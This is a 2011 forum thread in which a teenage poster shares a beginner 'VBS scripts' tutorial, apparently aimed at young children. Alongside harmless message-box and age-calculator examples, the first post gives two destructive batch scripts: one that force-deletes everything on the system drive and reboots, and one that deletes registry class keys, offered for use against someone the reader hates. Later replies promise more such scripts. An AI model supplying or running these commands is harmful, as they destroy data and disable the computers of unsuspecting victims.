Post: Simple vbs scripts (TUTORIAL)
03-22-2011, 01:14 AM #1
Sloth
Banned
(adsbygoogle = window.adsbygoogle || []).push({}); This tutorial was requested by both Troll and !bananaman!

If you do not have a windows computer or a Mac crossover or vm please do not waste your time reading this and go make a app. :carling:

Ok this is going to be short as I am writing on my touch due to my laptop being broken.

Needed:
Notepad.exe
The ability to read English

Ok the first script is a simple box which pops up with a message, here is the code.

Message box:

    Do

Msgbox ("enter message here")
Msgbox ("enter message here")


NOTE: you can create as many messages as you want.

Now save as filename.vbs
Then run it.

You can also make the messages loop without stopping by putting loop at the end e.g.

    Do

Msgbox ("enter message here")
Msgbox ("enter message here")
Loop


IMPORTANT: to end the message box you cam either log off, shutdown or restart or you could open up taskmanager and go to processes and end wscript.

I have a story about this if you just want to see the rest if the tutorial just skip in otherwise read here:

I was at school year 8 (England) I was in a ICT lesson and I was making some if these messageboxes with loops to entertain my friends I wrote both rude an normal ones.
But one ICT lesson I was writing one while about five of my friends where crowding round me, I was writing about how the C:\ Drive had been wiped and was about to put the word "Vagina" when my teacher came to inspect what the reason for the crowd around me was and he saw my computer screen and sent me out.
I stood outside for 10 minutes then he came out and asked me what it was and I told him it was a message box, and then he said whas a message box and I just said nevermind at that point completely astounded then he decided not to report me and let me off Happy

Second script
This Second script will tell you how old you will be after X amount of years i tell you how to change the number to X.

The code is here:

    WScript.Echo "Hello!"

Set WshShell = WScript.CreateObject("WScript.Shell")
age = InputBox("Please type your age.")

newage = age + X
WshShell.Popup "In X years, you will be " & newage & "."


Know to change the X amount of years Just replace the X with whatever you want e.g 21
Remember to change both X's.

To Change welcome messgae just delete the hello! and put your own message.

Script 3

This first once causes you to get the blue screen of death. and might have to reinstall windows!!
    @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


Script 4

The second one is the most dangerous one never use it unless you really hate the person, this one deletes your registry files completely destroying the computer:

    @ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE


I WILL PLACE MORE SCRIPTS IN WHEN I RECIEVE MY COMPUTER (hopefully before then end if this month) thank you for your patience
Know go :carling: some people with this


If you know any scripts please pm them to me don't post them in comments I will make sure to add them to the thread and I will include credit to you and ask if they want to rep for that rep you.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked Sloth for this useful post:

tylerallmighty
03-22-2011, 01:21 AM #2
Originally posted by Cookiemonstaz View Post
This tutorial was requested by both Troll and !bananaman!

If you do not have a windows computer or a Mac crossover or vm please do not waste your time reading this and go make a app. :carling:

Ok this is going to be short as I am writing on my touch due to my laptop being broken.

Needed:
Notepad.exe
The ability to read English

Ok the first script is a simple box which pops up with a message, here is the code.

Message box:

Do

Msgbox ("enter message here")
Msgbox ("enter message here")

NOTE: you can create as many messages as you want.

Now save as filename.vbs
Then run it.

You can also make the messages loop without stopping by putting loop at the end e.g.

Do

Msgbox ("enter message here")
Msgbox ("enter message here")
Loop

IMPORTANT: to end the message box you cam either log off, shutdown or restart or you could open up taskmanager and go to processes and end wscript.

I have a story about this if you just want to see the rest if the tutorial just skip in otherwise read here:

I was at school year 8 (England) I was in a ICT lesson and I was making some if these messageboxes with loops to entertain my friends I wrote both rude an normal ones.
But one ICT lesson I was writing one while about five of my friends where crowding round me, I was writing about how the (CSmile Drive had been wiped and was about to put the word "Vagina" when my teacher came to inspect what the reason for the crowd around me was and he saw my computer screen and sent me out.
I stood outside for 10 minutes then he came out and asked me what it was and I told him it was a message box, and then he said whas a message box and I just said nevermind at that point completely astounded then he decided not to report me and let me off Happy

Second script

I WILL PLACE MORE SCRIPTS IN WHEN I RECIEVE MY COMPUTER (hopefully before then end if this month) thank you for your patience
Know go :carling: some people with this


If you know any scripts please pm them to me don't post them in comments I will make sure to add them to the thread and I will include credit to you and ask if they want to rep for that rep you.


Simple but useless. There is simply no point in doing this as it's only going to entertain the idiots at your school, learn some real code and create an application to do it for you. If you was clever enough you could import the winsock utility and create two applications (client and server) give the client to your buddys to run on there computer whilst you run the server and then use winsock to send the message box's to them when you wish.
03-22-2011, 01:35 AM #3
Sloth
Banned
Originally posted by aNut View Post
Simple but useless. There is simply no point in doing this as it's only going to entertain the idiots at your school, learn some real code and create an application to do it for you. If you was clever enough you could import the winsock utility and create two applications (client and server) give the client to your buddys to run on there computer whilst you run the server and then use winsock to send the message box's to them when you wish.


I can code I made this due. Some requests and also the majority of people who will read this are little 10 year olds, do you reall expect a 10 year to follow on that? He will most likely get bored and leave. I was not aiming this at beast computer coders hence the use of simple

---------- Post added at 01:35 AM ---------- Previous post was at 01:31 AM ----------

Btw I am 14
03-22-2011, 01:35 AM #4
Originally posted by Cookiemonstaz View Post
I can code I made this due. Some requests and also the majority of people who will read this are little 10 year olds, do you reall expect a 10 year to follow on that? He will most likely get bored and leave. I was not aiming this at beast computer coders hence the use of simple


It was no personal dig it just annoys me that people use VBS still just to impress there school friends, and to be honest when I was referring to winsock I should have added you will need to re-code that yourself for VB.NET :p
03-22-2011, 01:39 AM #5
Sloth
Banned
Originally posted by aNut View Post
It was no personal dig it just annoys me that people use VBS still just to impress there school friends, and to be honest when I was referring to winsock I should have added you will need to re-code that yourself for VB.NET :p


Don't worry I was not offended and I appreciate your opinion aswell I have lived with people thinking their cool because they opened up the command prompt on the computer I just wanted to help the little kiddies
03-22-2011, 05:19 PM #6
tylerallmighty
Human After All
Originally posted by Cookiemonstaz View Post
Don't worry I was not offended and I appreciate your opinion aswell I have lived with people thinking their cool because they opened up the command prompt on the computer I just wanted to help the little kiddies

Can't wait 'till you add more. :y:
04-13-2011, 04:31 PM #7
Sloth
Banned
BUMP a LUMP
04-13-2011, 05:32 PM #8
Outlasted Wolf
Do a barrel roll!
I do find vbs still great fun but the best one is definetively the infinite cd drive oppening one! Smile

The following user thanked Outlasted Wolf for this useful post:

04-13-2011, 06:45 PM #9
Sloth
Banned
Originally posted by Outlasted
I do find vbs still great fun but the best one is definetively the infinite cd drive oppening one! Smile


Would you like me to post this one? it's quite easy.

---------- Post added at 07:45 PM ---------- Previous post was at 07:44 PM ----------

Originally posted by Cookiemonstaz View Post
Would you like me to post this one? it's quite easy.


i also have 1 which will give the computer bluescreen of death and another that will delete the computers hkeys
04-13-2011, 07:46 PM #10
Outlasted Wolf
Do a barrel roll!
Originally posted by Cookiemonstaz View Post
Would you like me to post this one? it's quite easy.

---------- Post added at 07:45 PM ---------- Previous post was at 07:44 PM ----------



i also have 1 which will give the computer bluescreen of death and another that will delete the computers hkeys


Yeah it would be nice if u could Smile
Not much point for me cos im on linux now Winky Winky allthought i use windows too.
I don't know the one to delete keys, sounds great!!! Happy

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo